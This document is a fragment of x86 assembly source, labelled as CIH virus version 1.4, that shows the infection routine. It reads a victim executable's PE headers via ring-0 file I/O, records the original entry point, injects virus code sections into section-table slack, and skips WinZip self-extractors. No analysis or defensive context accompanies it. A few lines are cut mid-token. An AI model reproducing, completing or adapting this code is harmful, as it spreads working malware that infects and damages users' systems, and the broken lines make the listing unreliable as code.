cih1.4.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

; * NewAddressOfEntryPoint  *                                                    
; * ( Only First Set Size ) *                                                    
; ***************************                                                    
                                                                                 
                        push    eax     ; Size                                   
                                                                                 
; ***************************                                                    
; * Let's Read              *                                                    
; * Image Header in File    *                                                    
; ***************************                                                    
                                                                                 
                        mov     eax, ebp                                         
                        mov     cl, SizeOfImageHeaderToRead                      
                        add     edx, 07h ; Move EDX to NumberOfSections          
                        call    edi      ; VXDCall IFSMgr_Ring0_FileIO           
                                                                                 
; ***************************                                                    
; * Let's Set the           *                                                    
; * NewAddressOfEntryPoint  *                                                    
; * ( Set Pointer of File,  *                                                    
; *   Address of Buffer   ) *                                                    
; ***************************                                                    
                                                                                 
                        lea     eax, (AddressOfEntryPoint-@8)[edx]               
                        push    eax     ; Pointer of File                        
                                                                                 
                        lea     eax, (NewAddressOfEntryPoint-@8)[esi]            
                        push    eax     ; Address of Buffer                      
                                                                                 
; ***************************                                                    
; * Move EDX to the Start   *                                                    
; * of SectionTable in File *                                                    
; ***************************                                                    
                                                                                 
                        movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]     
                        lea     edx, [eax+edx+12h]                               
                                                                                 
; ***************************                                                    
; * Let's Get               *                                                    
; * Total Size of Sections  *                                                    
; ***************************                                                    
                                                                                 
                        mov     al, SizeOfScetionTable                           
                                                                                 
                        ; I Assume NumberOfSections <= 0ffh                      
                        mov     cl, (NumberOfSections-@8)[esi]                   
                                                                                 
                        mul     cl                                               
                                                                                 
; ***************************                                                    
; * Let's Set Section Table *                                                    
; ***************************                                                    
                                                                                 
                        ; Move ESI to the Start of SectionTable                  
                        lea     esi, (StartOfSectionTable-@8)[esi]               
                                                                                 
                        push    eax     ; Size                                   
                        push    edx     ; Pointer of File                        
                        push    esi     ; Address of Buffer                      
                                                                                 
; ***************************                                                    
; * The Code Size of Merge  *                                                    
; * Virus Code Section and  *                                                    
; * Total Size of Virus     *                                                    
; * Code Section Table Must *                                                    
; * be Small or Equal the   *                                                    
; * Unused Space Size of    *                                                    
; * Following Section Table *                                                    
; ***************************                                                    
                                                                                 
                        inc     ecx                                              
                        push    ecx     ; Save NumberOfSections+1                
                                                                                 
                        shl     ecx, 03h                                         
                        push    ecx     ; Save TotalSizeOfVirusCodeSectionTable  
                                                                                 
                        add     ecx, eax                                         
                        add     ecx, edx                                         
                                                                                 
                        sub     ecx, (SizeOfHeaders-@9)[esi]                     
                        not     ecx                                              
                        inc     ecx                                              
                                                                                 
                        ; Save My Virus First Section Code                       
                        ; Size of Following Section Table...                     
                        ; ( Not Include the Size of Virus Code Section Table )   
                        push    ecx                                              
                                                                                 
                        xchg    ecx, eax        ; ECX = Size of Section Table    
                                                                                 
                        ; Save Original Address of Entry Point                   
                        mov     eax, (AddressOfEntryPoint-@9)[esi]               
                        add     eax, (ImageBase-@9)[esi]                         
                        mov     (OriginalAddressOfEntryPoint-@9)[esi], eax       
                                                                                 
                        cmp     word ptr [esp], small CodeSizeOfMergeVirusCodeS  
tion                                                                             
                        jl      OnlySetInfectedMark                              
                                                                                 
; ***************************                                                    
; * Read All Section Tables *                                                    
; ***************************                                                    
                                                                                 
                        mov     eax, ebp                                         
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; ***************************                                                    
; * Full Modify the Bug :   *                                                    
; * WinZip Self-Extractor   *                                                    
; * Occurs Error...         *                                                    
; ***************************                                                    
; * So When User Opens      *                                                    
; * WinZip Self-Extractor,  *                                                    
; * Virus Doesn't Infect it.*                                                    
; ***************************                                                    
; * First, Virus Gets the   *                                                    
; * PointerToRawData in the *                                                    
; * Second Section Table,   *                                                    
; * Reads the Section Data, *                                                    
; * and Tests the String of *                                                    
; * 'WinZip(R)'......       *                                                    
; ***************************                                                    
                                                                                 
                        xchg    eax, ebp                                         
                                                                                 
                        push    00000004h                                        
                        pop     ecx                                              
                                                                                 
                        push    edx                                              
                        mov     edx, (SizeOfScetionTable+PointerToRawData-@9)[e  
]                                                                                
                        add     edx, 12h                                         
                                                                                 
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
                        ; cmp [esi], 'nZip'                                      
                        cmp     dword ptr [esi], 'piZn'                          
                        je      NotSetInfectedMark                               
                                                                                 
                        pop     edx                                              
                                                                                 
; ***************************                                                    
; * Let's Set Total Virus   *                                                    
; * Code Section Table      *                                                    
; ***************************                                                    
                                                                                 
                        ; EBX = My Virus First Section Code                      
                        ;       Size of Following Section Table                  
                        pop     ebx                                              
                        pop     edi     ; EDI = TotalSizeOfVirusCodeSectionTabl  
                        pop     ecx     ; ECX = NumberOfSections+1               
                                                                                 
                        push    edi             ; Size                           
                                                                                 
                        add     edx, ebp                                         
                        push    edx             ; Pointer of File                
                                                                                 
                        add     ebp, esi